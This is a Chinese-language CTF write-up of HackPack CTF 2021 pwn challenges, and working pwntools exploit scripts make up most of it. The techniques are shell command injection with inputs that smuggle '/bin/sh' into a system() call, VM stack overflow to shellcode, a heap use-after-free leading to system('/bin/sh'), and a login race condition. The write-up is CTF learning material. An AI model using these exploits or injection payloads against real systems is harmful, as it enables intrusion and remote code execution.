CTFtime 上的一个比赛,外国高校 NCSU 举办的。题目比较简单(除了最后一个 Rust),但还是能学到一些新的点子。在这里简略地记录一下。
Baby Calc shell 命令行注入。程序中有下面的危险命令执行:
1 2 sprintf (output_buff, "python3 -c 'print(%s + %s)'" , v4, v5);system(output_buff);
让单引号闭合,用 “;” 隔离,在 “)” 前加 “\“ 就好了。
exp 1 2 3 4 5 6 7 8 9 from pwn import *io = remote("ctf2021.hackpack.club" , 11001 ) io.sendlineafter("Variable one" , "1)';" ) io.sendlineafter("Variable two" , ";/bin/sh;'\\" ) io.interactive()
Mind Blown&Brain Fart 分析 虚拟机题。实现了栈上 rsp 的移动,加减运算,以及输入输出栈上的值。
漏洞点是 rsp 的移动没有边界,因此可以影响到真实的栈。
题目没有开 NX 和 PIE,所以直接覆盖返回地址到 bss 段的 shellcode 上就行。
两题的差别在于 Brain Fart 禁止了栈上的输入,由于可以用加减运算代替,两题的差别并不大。
exp Mind Blown 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.os = "linux" context.arch = "amd64" io = remote("ctf2021.hackpack.club" , 10996 ) shellcode = asm(shellcraft.sh()) payload = b'>' * 0x1018 + (b',' + b'>' ) * 4 shellcode_offset = len(payload) payload += shellcode shellcode_addr = 0x124050e0 io.sendlineafter("Number of characters in your program:" , str(len(payload))) io.sendafter("Enter your program text below:" , payload) for i in range(4 ): sleep(0.3 ) io.send(p8((shellcode_addr >> (8 * i)) & 0xff )) io.interactive()
Brain Fart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.os = "linux" context.arch = "amd64" context.log_level = "debug" io = remote("ctf2021.hackpack.club" , 10997 ) shellcode_addr = 0x124040c0 ret_addr = 0x401584 shellcode = asm(shellcraft.sh()) payload = shellcode + b'>' * 0x1018 for i in range(40 ): a1 = (ret_addr >> (8 * i)) & 0xff a2 = (shellcode_addr >> (8 * i)) & 0xff a = abs(a1 - a2) if (a1 > a2): payload += b'-' * a elif (a1 < a2): payload += b'+' * a payload += b'>' io.sendlineafter("Number of characters in your program:" , str(len(payload))) io.sendafter("Enter your program text below:" , payload) io.interactive()
Logme 分析 堆题。有 UAF 漏洞,构造堆块重叠后覆盖函数指针及其第一个参数,利用 plt 中的 puts 及其 got 表泄漏 libc,然后 system(“/bin/sh”) 就行了。(当时这题有一点没想通耗了挺久时间的)
fopen fopen 在权限不足或是文件不存在时就会失败并返回 NULL,fwrite 如果用为 NULL 的 fp 就会 segmentation fault。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *from os import systemlibc = ELF("./libc-2.27.so_logme" ) io = remote("ctf2021.hackpack.club" , 11002 ) def auth () : io.sendlineafter("> " , '1' ) io.sendlineafter("Username: " , "administrator" ) io.sendlineafter("Password: " , "S3CreTB4CkD0or" ) def logoff () : io.sendlineafter("> " , '4' ) def create (name) : io.sendlineafter("> " , '1' ) io.sendafter("Enter Index name: " , name) io.recvuntil("Saved index " ) def delete (idx) : io.sendlineafter("> " , '2' ) io.sendlineafter("Enter Index: " , str(idx)) def dump (idx) : io.sendlineafter("> " , '3' ) io.sendlineafter("Enter Index: " , str(idx)) def add_entry (idx, size, content) : io.sendlineafter("> " , '2' ) io.sendlineafter("Enter Index: " , str(idx)) io.sendlineafter("Entry Size: " , str(size)) io.sendafter("Entry: " , content) system("rm -r log_dir/1/" ) system("rm -r log_dir/2/" ) auth() create("1" ) create("2" ) delete(0 ) logoff() puts_plt = 0x400970 puts_got = 0x602040 payload = b'a' * 0x28 + p64(puts_got) + p64(puts_plt) add_entry(1 , 0x38 , payload) auth() dump(0 ) libc.address = u64(io.recvuntil('\n' , drop=True ).ljust(8 , b'\x00' )) - libc.symbols["puts" ] print("libc.address = " + hex(libc.address)) create("jkilopu2" ) delete(2 ) logoff() str_bin_sh_addr = libc.address + 0x1b3e1f system_addr = libc.symbols["system" ] payload = b'b' * 0x28 + p64(str_bin_sh_addr) + p64(system_addr) add_entry(1 , 0x38 , payload) auth() dump(2 ) io.interactive()
Better PAM 分析 多线程题。题目实现了一个登录系统,目标为获得 admin 账户的密码(也就是 flag)。
漏洞1——查找行为的不同 程序用一个数组保存账号名和密码,新加入的账户会添加到数组末尾。
登入时,如果数组中的账号名有重复,总是匹配到数组最后的账号名和密码:
1 2 3 4 5 6 for ( i = 0L L; i < numAccounts; ++i ) { v4 = (const char **)accounts[i]; if ( !strcmp (*v4, name) && !strcmp (v4[1 ], passwd) ) v0 = *v4; }
程序中有 printAccount
函数:从数组头开始匹配账户名,打印当前登入账户的账号名和密码。
1 2 3 4 5 6 7 8 9 for ( i = 0L L; i < numAccounts; ++i ) { v4 = (const char **)accounts[i]; if ( !strcmp (*v4, a1) ) { v2 = v4; break ; } }
漏洞2——线程之间没有同步 为了防止账号名重复,在将账号添加到数组之前,会新建一个线程来检查。
1 pthread_create(newthread, 0L L, verifyNoDuplicatesExist, account_note);
verifyNoDuplicatesExist
是可重入的,但其检查效率比较低下,遍历了整个账户数组。
只要账户数组中存在账户其账户名与要添加的账户的账户名相同,就会退出整个进程:
1 2 3 4 5 6 7 have_same = (unsigned __int8)(is_same | have_same) != 0 ; } if ( have_same ){ fprintf(stderr, "ERROR: Account already exists: %s\n" , *(const char **)account_note); exit(-1 ); }
然而旧线程并没有使用 pthread_join
等待新线程退出,直接就将账户添加到了数组中:
1 2 3 4 account_note[1] = numAccounts; pthread_create(newthread, 0LL, verifyNoDuplicatesExist, account_note); // 新建线程检查 accounts[numAccounts] = account_buf; return ++numAccounts;
利用 我们添加 admin 账户,设置自己的密码。如果能在新线程“发现”账号名重复前就完成 admin 的登入(用自己的密码)、admin 密码的输出(输出已有的 admin 账户的密码),就能获得 flag。
增加新线程的检查时间 程序最多能保存 0x30 个账户。我们添加多个名字很长的账户直到数量最大。根据前面对verifyNoDuplicatesExist
分析,这样可以增加新线程的检查时间。
一次性发送 payload 在通常的题目中,payload
要等到提示信息出现之后才发送。不然前后的 payload
可能会被一块发送,read
之类的函数就会一并读取。但在此题中,程序读取的方式比较特殊:
1 2 3 4 5 6 7 8 9 10 if ( (unsigned int )__isoc99_scanf("%d" , &choice) == 1 ) { puts ("\n" ); v3 = (const char *)stdin ; v6 = getc(stdin ); if ( v6 != '\n' ) { v3 = (const char *)(unsigned int )v6; ungetc((int )v3, stdin ); }
manpage 中对 ungetc
的简介:
int ungetc(int c, FILE *stream);
ungetc() pushes c back to stream, cast to unsigned char, where it is available for subsequent read operations. Pushed-back characters will be returned in reverse order; only one pushback is guaranteed.
这意味着将所有操作放在一个 payload 里面是可行的。这样的话,就可以大大减少网络通讯的时间了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = "debug" io = remote("ctf2021.hackpack.club" , 10994 ) def try_auth (name, passwd) : io.sendlineafter("> " , '2' ) io.sendlineafter("Please enter username: " , name) io.sendlineafter("Please enter password" , passwd) def create_account (name, passwd) : io.sendlineafter("> " , '3' ) io.sendlineafter("Please enter username: " , name) io.sendlineafter("Please enter password: " , passwd) def print_account () : io.sendlineafter("> " , '4' ) payload = "3\nadmin\n1\n2\nadmin\n1\n4\n" for i in range(13 ): create_account(chr(i+ord('a' )), "1" ) io.send(payload) io.interactive()
Rusty Chains Rust!之前就在国外的比赛遇到过 rust 的题目,当时想着要是再碰到就要好好研究一下然后做出来,结果只成功了一半。。。等有 writeup 再复现。